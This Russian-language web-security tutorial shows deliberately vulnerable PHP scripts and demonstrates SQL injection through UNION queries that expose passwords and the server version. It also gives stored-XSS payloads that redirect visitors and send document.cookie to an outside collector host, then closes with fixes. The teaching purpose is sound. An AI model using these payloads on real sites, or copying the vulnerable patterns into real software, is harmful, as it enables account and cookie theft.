Пусть имеется таблица пользователей userlist, которая содержит пять столбцов:
Таблица userlist
Заполним таблицу userlist
Список всех пользователей, включенных в таблицу userlist, выводится при помощи скрипта. Имя каждого из пользователей является гиперссылкой вида <a href = user.php?id_user=1>name</a>, где 1— первичный ключ записи в таблице userlist, а name —имя пользователя.
Список пользователей
<?php
//Устанавливаем соединение с базой данных
require_once("config.php");
//Запрaшиваем список всех пользователей
$query="SELECT*FROM userlist ORDER BY name";
$usr=mysql_query($query);
if(!$usr) exit("Ошибка - ".mysql_error());
while($user=mysql_fetch_array($usr))
{
echo "<a href=user.php?id_user=$user[id_user]>$user[name]</a><br>";
}
?>
В окне веб-браузера это будет выглядеть ТАК.
Вывод информации обо всех посетителях выполняется на странице user.php.
Файл user.php
<?php
//Устанавливаем соединение с базой данных
require_once("config.php");
//Запрaшиваем список всех пользователей
$query="SELECT*FROM userlist WHERE id_user=$_GET[id_user]";
$usr=mysql_query($query);
if(!$usr) exit("Ошибка - ".mysql_error());
$user=mysql_fetch_array($usr);
echo "Имя пользователя - $user[name]<br>";
if(!empty($user['email'])) echo "E-mail -$user[email]<br>";
if(!empty($user['url'])) echo "URL -$user[url]<br>";
?>
Как видно из скрипта, GET-параметр id_user подставляется в SQL-запрос без всякой проверки — это позволяет злоумышленнику осуществлять SQL-инъекцию.
Вместо числа в SQL-запрос
SELECT*FROM userlist WHERE id_user = 1
может быть внедрена произвольная строка. Так, если в строку запроса подставить значение 'какой-то%20текст', то скрипт выдаст сообщение об ошибке.
Примечание. Символ %20 обозначает пробел. Запоминать коды недопустимых символов необязательно, корректную для URL строку всегда можно получить, пропустив текст через функцию urlencode().
Попытка вставки вместо числового значения строки
<?php
//Устанавливаем соединение с базой данных
require_once("config.php");
//Запрaшиваем список всех пользователей
$query="SELECT*FROM userlist WHERE id_user='\какой-то текст\' ";
$usr=mysql_query($query);
if(!$usr) exit("Ошибка - ".mysql_error());
$user=mysql_fetch_array($usr);
echo "Имя пользователя - $user[name]<br>";
if(!empty($user['email'])) echo "E-mail -$user[email]<br>";
if(!empty($user['url'])) echo "URL -$user[url]<br>";
?>
В окне веб-браузера это будет выглядеть ТАК.
Воспользовавшись конструкцией UNION, можно добавить еще один запрос того же формата, что и первый.
Использование конструкции UNION
<?php
//Устанавливаем соединение с базой данных
require_once("config.php");
//Запрaшиваем список всех пользователей
$query="SELECT*FROM userlist WHERE id_user=1
UNION
SELECT*FROM userlist WHERE id_user=2 ";
$usr=mysql_query($query);
if(!$usr) exit("Ошибка - ".mysql_error());
$user=mysql_fetch_array($usr);
echo "Имя пользователя - $user[name]<br>";
if(!empty($user['email'])) echo "E-mail -$user[email]<br>";
if(!empty($user['url'])) echo "URL -$user[url]<br>";
?>
Результирующая таблица будет содержать записи как первого, так и второго запроса.
Записи, возвращаемые запросом
Тем не менее, на странице по-прежднему выводится информация о посетителе с первичным ключем 1.
В окне веб-браузера это будет выглядеть ТАК.
Как видно, результаты выводятся только для самого первого запроса, так как в коде присутствует только один вызов функции mysql_fetch_array() и, следовательно, все последующие записи игнорируются. Первой задачей злоумышленника является вывод в окно браузера результатов второго запроса из конструкции UNION, так как первый запрос изменить уже нельзя. Для реализации этой задачи можно воспользоваться двумя способами. Первый из них заключается в формировании такого условия первого запроса, которое заведомо не выполнимо. Для этого переменной id_user можно присвоить отрицательное значение. Поскольку первичный ключ принимает только положительные значения, можно гарантировать, что первый запрос не вернет ни одной записи.
Подавление вывода первого запроса
Передача управления второму SELECT-запросу из конструкции UNION
<?php
//Устанавливаем соединение с базой данных
require_once("config.php");
//Запрaшиваем список всех пользователей
$query="SELECT*FROM userlist WHERE id_user=-1
UNION
SELECT*FROM userlist WHERE id_user=2 ";
$usr=mysql_query($query);
if(!$usr) exit("Ошибка - ".mysql_error());
$user=mysql_fetch_array($usr);
echo "Имя пользователя - $user[name]<br>";
if(!empty($user['email'])) echo "E-mail -$user[email]<br>";
if(!empty($user['url'])) echo "URL -$user[url]<br>";
?>
В результате такой инъекции в действие вступает второй SELECT-запрос из конструкции UNION, благодаря которому выводится информация о пользователе с первичным ключем 2.
В окне веб-браузера это будет выглядеть ТАК.
Иногда передать управление второму SELECT-запросу описанным приемом сложно, поэтому прибегают к конструкции ORDER BY, которая сортирует результаты запросов так, чтобы результаты из инъекционного запроса оказались в начале. В нашем случае можно подвергнуть результаты обратной сортировки по параметру id_user. Для осуществления такой операции необходимо использовать конструкцию ORDER BY id_user DESC, которая размещается в конце конструкции UNION.
Сортировка результатов
Пока манипуляции записями были достаточно безобидными, однако SQL-инъекции позволяют извлекать произвольные поля формы, в том числе и пароль, вывод которого не предусматривает скрипт из user.php. Для этого злоумышленники расшифровывают символ * во втором запросе.
Расшифровка символа * в инъекционном запросе
Количество полей во втором запросе должно совпадать с количеством столбцов из первого SELECT-запроса, иначе СУБД отклонит запрос как ошибочный. Столбцы name и pass являются текстовыми, поэтому ничего не мешает нам поменять их местами.
Перемена местами полей name и pass
Так как имена столбцов формируются по первому запросу, вместо имени пользователя (name) подставляется его пароль (pass).
Вывод пароля пользователя в окно браузера
<?php
//Устанавливаем соединение с базой данных
require_once("config.php");
//Запрaшиваем список всех пользователей
$query="SELECT*FROM userlist WHERE id_user=1
UNION
SELECT id_user, pass, name, email, url FROM userlist WHERE id_user=2
ORDER BY id_user DESC";
$usr=mysql_query($query);
if(!$usr) exit("Ошибка - ".mysql_error());
$user=mysql_fetch_array($usr);
echo "Имя пользователя - $user[name]<br>";
if(!empty($user['email'])) echo "E-mail -$user[email]<br>";
if(!empty($user['url'])) echo "URL -$user[url]<br>";
?>
В окне веб-браузера это будет выглядеть ТАК.
Примечание. Конструкция UNION применяется только совместно с SELECT-запросами, поэтому деструктивных действий такая SQL-инъекция не несет, если пароли не предоставляют доступ к панели управления, при помощи которых эти действия можно осуществить.
Помимо просмотра скрытых столбцов, SQL-инъекция могут быть использованы для получения другой разнообразной информации, например, версии MySQL-сервера. Для решения этой задачи можно воспользоваться тем фактом, что в списке столбцов могут находиться внутренние функции MySQL. Поэтому для достижения цели достаточно модернизировать инъекционный запрос таким образом, чтобы вместо поля name стоял вызов функции VERSION().
Определяем версию сервера MySQL
Определение версии MySQL-сервера
<?php
//Устанавливаем соединение с базой данных
require_once("config.php");
//Запрaшиваем список всех пользователей
$query="SELECT*FROM userlist WHERE id_user=1
UNION
SELECT id_user, VERSION(), pass, email, url FROM userlist WHERE id_user=2
ORDER BY id_user DESC";
$usr=mysql_query($query);
if(!$usr) exit("Ошибка - ".mysql_error());
$user=mysql_fetch_array($usr);
echo "Имя пользователя - $user[name]<br>";
if(!empty($user['email'])) echo "E-mail -$user[email]<br>";
if(!empty($user['url'])) echo "URL -$user[url]<br>";
?>
В окне веб-браузера это будет выглядеть ТАК.
Для того, чтобы избежать взлома по SQL-инъекции, следует проверять числовые параметры, при помощи регулярных выражений или осуществлять явное приведение типа при помощи конструкции intval(). SQL-инъекция может осуществляться не только по числовому полю, но и по текстовому.
Поиск пользователя по имени
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<title>Поиск пользователя по имени</title>
</head>
<body>
<table width="200" border="1" >
<form action="" method="post">
<tr>
<td> Имя</td>
<td> <input name="name" type="text" value="<?=$_POST['name'] ?>" size="30"></td>
</tr>
<tr>
<td> </td>
<td> <input name="" type="submit" value="Искать"></td>
</tr>
</form>
</table>
<?php
if(!empty($_POST))
{
//Устанавливаем соединение с базой данных
require_once("config.php");
//Производим поиск пользователя с именем $_POST['name']
$query="SELECT*FROM userlist
WHERE name
LIKE '$_POST[name]%'
ORDER BY name";
$usr=mysql_query($query);
if(!$usr) exit ("Ошибка -".mysql_error());
while($user=mysql_fetch_array($usr))
{
echo "Имя пользователя - $user[name]<br>";
}
}
?>
</body>
</html>
В окне веб-браузера это будет выглядеть ТАК.
В текстовой области в HTML-формы достаточно ввести часть имени, чтобы вывести список всех похожих имен. Если в качестве имени указывается пустая строка, то извлекаются имена всех зарегистрированных пользователей.
XSS-инъекции или межсайтовый скриптинг — это атака, которая позволяет злоумышленнику вставлять в HTML-код сайта вставки вредоносного HTML-кода, как правило, скрипты JavaScript.
Примечание. XSS расшифровывается как Cross-Site-Scripting, однако аббревиатура CSS не используется, чтобы не путать это сокращение с каскадными таблицами стилей — Cascading Style Sheets.
Для демонстрации уязвимости данного типа разработаем простейшую систему регистрации пользователей, информация о которых будет помещаться в текстовой файл text.txt следующего формата:
имя пользователя :: пароль :: e-mail :: url
Имя пользователя, его пароль, адрес электронной почты (e-mail) и адрес домашней страницы разделяются последовательностью ::.
Файл text.txt
igor::1234::[email protected]::http://www.stroy.ru
cheops::dwfrt::[email protected]::http://www.stroy.ru
wet::gordon:: ::
Для регистрации нам понадобится HTML-форма, состоящая из трех текстовых полей (имя, e-mail, и URL), двух полей типа password для пароля и его подтверждения и кнопка, позволяющая отправить данные обработчику.
Регистрация пользователей
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<title>Регистрация пользователей</title>
</head>
<body>
<table width="200" border="0" cellpadding="0">
<form action="" method="post">
<tr>
<td> Имя:</td>
<td><input name="name" type="text" size="30"></td>
</tr>
<tr>
<td> Пароль:</td>
<td><input name="pass" type="password" size="30"></td>
</tr>
<tr>
<td> Пароль:</td>
<td><input name="pass_again" type="password" size="30"></td>
</tr>
<tr>
<td> E-mail:</td>
<td><input name="email" type="text" size="30"></td>
</tr>
<tr>
<td> URL:</td>
<td><input name="url" type="text" size="30"></td>
</tr>
<tr>
<td> </td>
<td><input value="Зарегистрировать" type="submit"></td>
</tr>
</form>
</table>
<?php
//Обработчик HTML-формы
///////////////////////////////////////////////////////////
//1. Блок проверки правильности ввода данных
//////////////////////////////////////////////////////////
//Удаляем лишние пробелы
$_POST['name']=trim($_POST['name']);
$_POST['pass']=trim($_POST['pass']);
$_POST['pass_again']=trim($_POST['pass_again']);
//Проверяем не пустой ли суперглобальный массив $_POST
if(empty($_POST['name'])) exit();
//Проверяем, правильно ли заполнены обязательные поля
if(empty($_POST['name']))exit('Поле "Имя" не заполнено');
if(empty($_POST['pass']))exit('Одно из полей "Пароль" не заполнено');
if(empty($_POST['pass_again']))exit('Одно из полей "Пароль" не заполнено');
if($_POST['pass']!=$_POST['pass_again']) exit("Пароли не совпадают");
//Если введен E-mail, проверяем его на корректность
if(!empty($_POST['email']))
{
if(!preg_match("|^[0-9a-z_]+@[0-9a-z_^\.]+\.[a-z]{2,6}$|i", $_POST['email']))
{
exit('Поле "E-mail" должно соответствовать формату [email protected]');
}
}
//////////////////////////////////////////////////////////////////////
//2. Блок проверки имени на уникальность
/////////////////////////////////////////////////////////////////////
//Имя файла данных
$filename= "text.txt";
//Проверяем, не было ли переданное имя зарегистрировано ранее
$arr=file($filename);
foreach($arr as $line)
{
//Разбиваем строку по разделителю ::
$data=explode("::", $line);
//В массив $temp помещаем имена уже зарегистрированных посетителей
$temp[]=$data[0];
}
//Проверяем, не содержит ли текущее имя в массиве имен $temp
if(!in_array($_POST['name'], $temp))
{
exit("Данное имя уже зарегистрировани, пожалуйста выберите другое");
}
///////////////////////////////////////////////////////////////////////
//3. Блок регистрации пользователя
//////////////////////////////////////////////////////////////////////
//Помещаем данные в текстовой файл
$fd=fopen($filename, "a");
if(!$fd) exit("Ошибка при открытии файла данных");
$str=$_POST['name']."::".
$_POST['pass']."::".
$_POST['email']."::".
$_POST['url']. "\r\n";
fwrite($fd, $str);
fclose($fd);
//Осуществляем перезагрузку страницы,
//чтобы сбросить POST-данные
echo "<html><head>
<META HTTP-EQUIV='Refresh' CONTENT='0; URL=$_SERVER[PHP_SELF]'>
</head></html>";
?>
</body>
</html>
В окне веб-браузера это будет выглядеть ТАК.
Как видно из скрипта, обработчик состоит из трех блоков:
Первый блок проверяет правильность заполнения HTML-формы; заполнены ли обязательные поля (имя, пароль); равны ли друг другу введенные пароли; если введен E-mail, нет ли ошибки в его синтаксисе.
Второй блок открывает файл данных text.txt и читает из него имена уже зарегистрированных пользователей. Если имя, которое ввел пользователь, совпадает с одним из зарегистрированных имен, то работа скрипта прерывается, а пользователю предлагается выбрать какое-то другое имя.
Последний блок формирует строку в формате файла text.txt и дописывает ее в файл. После этого осуществляется перезагрезка скрипта для обнуления POST-данных. Если перезагрузку не произвести, то обновление страницы пользователем приведет к повторной попытке поместить данные в text.txt.
Вывод списка пользователей
<?php
// Имя файла данных
$filename = "text.txt";
// Проверяем, не было ли переданное имя
// зарегистрировано ранее
$arr = file($filename);
foreach($arr as $line)
{
// Разбиваем строку по разделителю ::
$data = explode("::",$line);
// Если файл сформирован в Windows,
// последний элемент будет содержать
// на конце символ \r - избавляемся от него
$data[3] = trim($data[3]);
// Если выбран текущий пользователь,
// сохраняем данные
if($_GET['name'] == $data[0])
{
$name = $data[0];
$email = $data[2];
$url = $data[3];
}
// Формируем список посетителей
echo "<a href=$_SERVER[PHP_SELF]?name=$data[0]>".
htmlspecialchars($data[0])."</a><br>";
}
if(isset($_GET['name']))
{
// В массив $temp помещаем имена уже зарегистрированных
// посетителей
echo "Имя - ".htmlspecialchars($name)."<br>";
if(!empty($email)) echo "e-mail - ".htmlspecialchars($email)."<br>";
if(!empty($url)) echo "URL - ".htmlspecialchars($url)."<br>";
echo "<br>";
}
?>
В окне веб-браузера это будет выглядеть ТАК.
После применения к строке файла text.txt функции explode() получаем массив $data, состоящий из четырех элементов, первый элемент которого $data[0] содержит имя, второй $data[1] — пароль, третий $data[2] — адрес электронной почты (E-mail), а четвертый $data[3] — адрес домашней странички (URL). Перевод строк в файле text.txt осуществляется в формате операционной системы Windows при помощи последовательности \r\n. В тоже время функция explode(), разбивающая строку на подстроки, ориентируется на переводы строк в формате UNIX, где для этого используется лишь один символ \n. Поэтому последний элемент всегда содержит невидимый символ \r, избавиться от которого можно, пропустив через функцию trim(), которая удаляет начальные и конечные пробельные символы.
Уязвимая строка
<?php
. . .
echo "<a href=$_SERVER[PHP_SELF]?name=$data[0]>".
htmlspecialchars($data[0])."</a><br>";
. . .
?>
Имя ссылки подвергается обработке функцией htmlspecialchars(), а параметр name— нет. Если вместо него теперь подставить выражение
new_user><script>alert('Hello world!')</script
это позволит выполнить скрипт JavaScript, выводящий надпись Hello wold!. Для этого достаточно зарегистрировть пользователя с таким именем.
В результате каждому посетителю, просматривающему список пользователей, будет выводиться диалоговое окно с надписью Hello wold!.
Однако работа, выполняемая XSS-скриптом, может быть гораздо более опастной, например, посетители могут пренаправляться на другой сайт. Для этого достаточно использовать XSS-инъекцию вида:
new_user><script>location.href = 'http://www.crackhost.ru';</script
Более того, можно похищать cookie и пароли в них, если перенаправлять их в GET-параметре (на сайте www.crackhost.ru должен быть подготовлен файл index.php для сбора и сохранения параметра cookie в файл или базу данных).
new_user><script>location.href='http://www.crackhost.ru/index.php?cookie='+escape(document.cookie)';</script
Для защиты от уязвимости такого рода необходимо подвергать обработке функцией htmlspecialchars() любые данные, которые поступают с компьютера клиента и выводятся в окно браузера.